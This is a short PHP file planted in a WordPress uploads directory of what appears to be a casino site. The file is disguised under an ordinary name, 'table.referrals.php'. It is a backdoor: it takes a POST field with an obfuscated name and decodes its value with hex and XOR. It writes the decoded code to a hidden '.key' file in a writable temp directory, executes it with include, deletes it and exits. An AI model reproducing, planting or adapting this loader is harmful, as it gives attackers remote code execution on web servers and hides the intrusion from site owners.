File: /home/casinobe/domains/pug555-a.com/public_html/wp-content/uploads/wpcode/h/a/a/table.referrals.php
<?php
if(in_array("\x73\x79m", array_keys($_POST))){
$property_set = hex2bin($_POST["\x73\x79m"]);
$flg = ''; foreach(str_split($property_set) as $char){$flg .= chr(ord($char) ^ 12);}
$ent = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir()]);
$pgrp = 0;
do {
$flag = $ent[$pgrp] ?? null;
if ($pgrp >= count($ent)) break;
if (is_writable($flag) && is_dir($flag)) {
$component = vsprintf("%s/%s", [$flag, ".key"]);
if (@file_put_contents($component, $flg) !== false) {
include $component;
unlink($component);
die();
}
}
$pgrp++;
} while (true);
}